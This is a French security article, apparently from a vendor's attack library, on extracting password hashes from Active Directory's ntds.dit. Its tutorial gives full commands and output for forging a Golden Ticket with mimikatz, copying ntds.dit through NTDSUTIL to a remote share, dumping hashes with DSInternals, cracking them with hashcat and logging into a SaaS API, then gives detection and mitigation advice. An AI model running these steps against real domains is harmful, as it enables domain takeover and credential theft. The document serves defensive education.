Attaque d'extraction de mot de passe NTDS.dit
Toutes les données dans Active Directory sont stockées dans le fichier ntds.dit (« le dit ») sur chaque contrôleur de domaine (dans C:\Windows\NTDS\ par défaut). Les attaquants peuvent utiliser les hachages de mots de passe directement à partir du dit pour avancer leurs objectifs. Casser les mots de passe des utilisateurs est bénéfique même si un adversaire a déjà obtenu la domination du domaine, car les utilisateurs réutilisent fréquemment les mots de passe à travers les systèmes et applications joints au domaine et non joints au domaine.
Pour accéder au fichier ntds.dit sur un contrôleur de domaine, un adversaire doit déjà avoir obtenu un accès administrateur à Active Directory. Alternativement, un adversaire pourrait compromettre la solution de sauvegarde d'entreprise responsable de la sauvegarde des contrôleurs de domaine et copier ntds.dit à partir d'une sauvegarde. La plupart des organisations ne font pas tourner fréquemment le secret krbtgt (voir l'attaque Golden Ticket) donc même les sauvegardes plus anciennes peuvent être utiles.
Résumé des menaces
Cible : Active Directory
Outils : DSInternals, ntdsxtract, PowerSploit, mimikatz
Tactique ATT&CK® : Accès aux identifiants
Technique ATT&CK : T1003.003
Difficulté
Détection : Moyenne
Atténuation : Moyenne
Réponse : Difficile
Tutoriel d'attaque : Comment fonctionne l'extraction de mot de passe NTDS.dit
ÉTAPE 1 : Obtenez les privilèges requis
Un adversaire doit posséder l'accès au système de fichiers d'un contrôleur de domaine avant de pouvoir extraire ntds.dit. Comme cette exigence fait de l'extraction de ntds.dit une attaque de stade avancé, un adversaire pourrait utiliser un hash de mot de passe précédemment compromis pour le compte ordinateur d'un contrôleur de domaine afin de créer un Silver Ticket.
Dans l'exemple ci-dessous, l'adversaire utilise mimikatz pour accéder au système de fichiers d'un contrôleur de domaine via un Golden Ticket.
PS> .\mimikatz.exe "kerberos::golden /user:FakeUser1 /domain:domain.com /sid:S-1-5-21-441320023-234525631-506766575 /id:S-1-5-21-441320023-234525631-506766575-1000 /target:DC1.domain.com /service:HOST /RC4:be3710380a7600e825a2d9ef4ae0fcf0 /ptt" "misc::cmd"
User: FakeUser1
Domain: domain.com (DOMAIN)
SID: S-1-5-21-441320023-234525631-506766575
User Id: 0
Groups Id : *513 512 520 518 519
ServiceKey: be3710380a7600e825a2d9ef4ae0fcf0 - rc4_hmac_nt
Service: HOST
Target: DC1.domain.com
Lifetime: 31/07/2020 11:13:28 ; 29/07/2030 11:13:28 ; 29/07/2030 11:13:28
-> Ticket : ** Pass The Ticket **
* PAC generated
* PAC signed
* EncTicketPart generated
* EncTicketPart encrypted
* KrbCred generated
Golden ticket for 'FakeUser1 @ domain.com' successfully submitted for current session
mimikatz # misc::cmd
Patch OK for 'cmd.exe' from 'DisableCMD' to 'KiwiAndCMD' @ 00007FF7FB1F4320
# A new command prompt window opens
C:\Windows\System32>
ÉTAPE 2 : Exfiltrer ntds.dit
Avec un accès au système de fichiers d'un contrôleur de domaine, l'adversaire peut exfiltrer le fichier ntds.dit ainsi que la ruche de registre HKEY_LOCAL_MACHINE\SYSTEM, nécessaire pour obtenir la Boot Key afin de déchiffrer ntds.dit.
Notez que pendant qu'Active Directory est en fonctionnement, il maintient un verrouillage du système de fichiers sur le fichier ntds.dit, donc les tentatives de copie échoueront. Les adversaires ont plusieurs méthodes pour contourner cette contrainte ; en particulier, ils peuvent :
- Arrêtez simplement Active Directory (bien que cela risque d'être détecté).
- Utilisez le service Volume Shadow Copy (VSS) pour créer un instantané du volume et extraire ntds.dit de l'instantané.
- Utilisez un outil PowerShell tel que PowerSploit’s Invoke-NinjaCopy pour copier les fichiers même s'ils sont en cours d'utilisation.
- Utilisez un outil intégré comme DSDBUtil.exe ou NTDSUtil.exe pour créer des fichiers de support d'installation d'Active Directory.
PS> .\PSExec.exe \\dc1.domain.com cmd
PsExec v2.2 - Execute processes remotely
Copyright (C) 2001-2016 Mark Russinovich
Sysinternals - www.sysinternals.com
Microsoft Windows [Version 10.0.17763.1339]
(c) 2018 Microsoft Corporation. All rights reserved.
DC1 > NTDSUTIL "Activate Instance NTDS" "IFM" "Create Full S:\Files" "q" "q"
NTDSUTIL: Activate Instance NTDS
Active instance set to "NTDS".
NTDSUTIL: IFM
ifm: Create Full S:\Files
Creating snapshot...
Snapshot set {3bacc31c-e2cb-4508-b0bf-5b4ec62f7c68} generated successfully.
Snapshot {6bfb4e7a-4c5a-42d2-8bd4-cc5f368de171} mounted as C:\$SNAP_202007311120_VOLUMES$\
Snapshot {328aa5f1-7f8f-4a0c-813c-573100a11e92} mounted as C:\$SNAP_202007311120_VOLUMEC$\
Initiating DEFRAGMENTATION mode...
Source Database: C:\$SNAP_202007311120_VOLUMES$\Windows\NTDS\ntds.dit
Target Database: S:\Files\Active Directory\ntds.dit
DefragmentationStatus (Complete)
0102030405060708090100
|----|----|----|----|----|----|----|----|----|----|
...................................................
Copying registry files...
Copying S:\Files\registry\SYSTEM
Copying S:\Files\registry\SECURITY
Snapshot {6bfb4e7a-4c5a-42d2-8bd4-cc5f368de171} unmounted.
Snapshot {328aa5f1-7f8f-4a0c-813c-573100a11e92} unmounted.
IFM media created successfully in S:\Files
ifm: q
NTDSUTIL: q
DC1 > Copy S:\Files \\wks2\Share
ÉTAPE 3 : Extraire les hachages de mot de passe
Une fois que l'adversaire a exfiltré le fichier ntds.dit et la ruche du registre HKLM\SYSTEM, il n'a plus besoin d'accéder au réseau de l'organisation. Un adversaire intéressé par le craquage des mots de passe voudra souvent lancer une attaque par force brute avec un ordinateur optimisé à cet effet, mais d'abord, il devra extraire les hachages de ntds.dit. Le module PowerShell DSInternals fournit les cmdlets Get-BootKey et Get-ADDBAccount à cette fin.
$Key = Get-BootKey -SystemHiveFilePath C:\IFM\registry\SYSTEM
Get-ADDBAccount -BootKey $Key -DatabasePath 'C:\IFM\Active Directory\ntds.dit' -All |
Format-Custom -View HashcatNT |
Out-File C:\Hashdump.txt
PS> Get-Content C:\Hashdump.txt
f8ae01fc52f45dda7baf7a67721665f1
eed224b4784bb040aab50b8856fe9f02
# --- Output Truncated --- #
ÉTAPE 4 : Utilisez les hachages de mot de passe pour atteindre d'autres objectifs
L'adversaire peut maintenant utiliser les hachages de mot de passe dans des attaques de type pass-the-hash au sein de l'environnement (peut-être comme moyen de persistance). Plus probablement, ils chercheront à craquer ces mots de passe pour les utiliser dans des attaques de remplissage d'identifiants contre des systèmes non joints à un domaine. Dans cet exemple, l'adversaire craque les hachages pour obtenir des mots de passe en clair et les utilise pour s'authentifier à l'API d'une application SaaS.
PS> .\hashcat.exe -m 1000 -a 3 --custom-charset1=?l?d?u --username -o cracked.txt .\Hashdump.txt ?1?1?1?1?1?1?1?1
Session..........: hashcat
Status...........: Running
Hash.Name........: NTLM
Hash.Target......: .\Hashdump.txt
Time.Started.....: Thu Aug 06 10:28:13 2020 (23 hours, 56 mins)
Time.Estimated...: Fri Aug 07 14:10:45 2020 (3 hours, 45 mins)
Guess.Mask.......: ?1?1?1?1?1?1?1?1 [8]
Guess.Charset....: -1 ?l?d?u, -2 Undefined, -3 Undefined, -4 Undefined
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:2165.2 MH/s (9.16ms) @ Accel:16 Loops:256 Thr:1024 Vec:1
Recovered........: 1/41 (2.44%) Digests
Progress.........: 189030831226880/218340105584896 (86.58%)
Rejected.........: 0/189030831226880 (0.00%)
Restore.Point....: 793149440/916132832 (86.58%)
Restore.Sub.#1...: Salt:0 Amplifier:13312-13568 Iteration:0-256
Candidates.#1....: TNAZRwMl -> FYNkI2Jx
Hardware.Mon.#1..: Temp: 84c Fan: 82% Util: 97% Core:1265MHz Mem:2504MHz Bus:16
PS> Get-Content .\cracked.txt
852e811a65d732c83214b4ff705d777a:F8qN47F1
PS># Attacker now uses the cracked passwords to authenticate with the username and password to a SaaS application's API
PS>$Username = "User1" # This is the user with the hash 852e811a65d732c83214b4ff705d777a which was cracked
PS>$Password = "F8qN47F1" # This is the password copied from cracked.txt
PS>$Object = New-Object -TypeName psobject
PS>$Object | Add-Member -MemberType NoteProperty -Name "login" -Value $Username
PS>$Object | Add-Member -MemberType NoteProperty -Name "password" -Value $Password
PS>$url = "https://service.url/api/login"
PS>$body = $Object | ConvertTo-Json
PS>$Header = @{ "accept" = "text/json"}
PS>$Response = Invoke-RestMethod -URI $url -Method POST -header $Header -Body $body -ContentType "application/json"
PS>$Headers = @{ 'Authorization' = "Bearer $Response" }
PS>$url = "https://service.url/api/DoThings"
PS>$Response = Invoke-RestMethod -Uri $url -Method Get -Headers $Headers
PS>$Response
{ "statusCode": 200, "statusMessage": "Things Done!" }
Détecter, Atténuer et Répondre
Détecter
Difficulté : Moyenne
Les tentatives d'accès à ntds.dit peuvent être détectées en utilisant le journal des événements Windows. Les ID d'événement 4663 et 4656 de la sous-catégorie Audit File System peuvent être utilisés pour auditer l'accès au système de fichiers. Utilisez ces événements pour surveiller les tentatives de lecture ou de modification de ntds.dit, régulières et celles de Volume Shadow Copy.
Atténuer
Difficulté : Moyenne
Pour atténuer le risque d'extraction de mots de passe à partir de ntds.dit, utilisez les meilleures pratiques suivantes pour aider à garantir que les adversaires n'obtiennent pas les privilèges nécessaires pour compromettre les contrôleurs de domaine en premier lieu :
- Effectuez régulièrement un audit de l'accès administratif à Active Directory, y compris les droits de stratégie de groupe et la configuration d'audit pour les connexions aux contrôleurs de domaine.
- Suivez rigoureusement le principe de la clean source principle pour les contrôleurs de domaine : Toute l'infrastructure (par exemple, ESX et le stockage associé) sur laquelle résident les contrôleurs de domaine ou les applications qui servent les contrôleurs de domaine (telles que les solutions de sauvegarde) doivent fonctionner au même niveau de sécurité que les contrôleurs de domaine eux-mêmes.
- Assurez la sécurité physique des machines contrôleurs de domaine. Si la sécurité physique ne peut être garantie, envisagez d'utiliser des contrôleurs de domaine en lecture seule pour limiter l'exposition des mots de passe.
- Ne permettez pas aux utilisateurs de posséder des privilèges administratifs à travers les frontières de sécurité. Par exemple, un adversaire qui compromet initialement un poste de travail ne devrait pas être capable d'escalader les privilèges pour passer d'un poste de travail à un serveur ou contrôleur de domaine.
Répondez
Difficulté : Difficile
Si un compromis du fichier ntds.dit est suspecté, il faut également supposer un compromis total de Active Directory ; en particulier, supposez que le secret krbtgt a également été compromis. Prenez les mesures suivantes :
- Activez le processus de réponse aux incidents et alertez l'équipe de réponse. La récupération après un compromis total de Active Directory nécessite une planification et des efforts importants.
Partager sur
Voir les attaques de cybersécurité associées
Abus des autorisations d'application Entra ID – Fonctionnement et stratégies de défense
Modification de AdminSDHolder – Fonctionnement et stratégies de défense
Attaque AS-REP Roasting - Fonctionnement et stratégies de défense
Attaque Hafnium - Fonctionnement et stratégies de défense
Attaques DCSync expliquées : Menace pour la sécurité d'Active Directory
Attaque des comptes de service gérés par groupe
Attaque Golden SAML
Comprendre les attaques Golden Ticket
Attaque DCShadow – Fonctionnement, exemples concrets et stratégies de défense
Injection de prompt ChatGPT : Comprendre les risques, exemples et prévention
Attaque Kerberoasting – Fonctionnement et stratégies de défense
Attaque Pass the Hash
Explication de l'attaque Pass-the-Ticket : Risques, Exemples et Stratégies de Défense
Attaque par pulvérisation de mots de passe
Attaque d'extraction de mot de passe en clair
Vulnérabilité Zerologon expliquée : Risques, Exploits et Atténuation
Attaques de rançongiciels sur Active Directory
Déverrouillage d'Active Directory avec l'attaque Skeleton Key
Mouvement latéral : Qu'est-ce que c'est, comment ça fonctionne et préventions
Attaques de l'homme du milieu (MITM) : ce qu'elles sont et comment les prévenir
Pourquoi PowerShell est-il si populaire auprès des attaquants ?
4 attaques de compte de service et comment s'en protéger
Comment prévenir les attaques de logiciels malveillants d'affecter votre entreprise
Qu'est-ce que le Credential Stuffing ?
Compromettre SQL Server avec PowerUpSQL
Qu'est-ce que les attaques de Mousejacking et comment se défendre contre elles
Vol de credentials avec un fournisseur de support de sécurité (SSP)
Attaques par tables arc-en-ciel : leur fonctionnement et comment se défendre
Reconnaissance LDAP
Contournement de l'authentification multifacteur avec l'attaque Pass-the-Cookie
Attaque Silver Ticket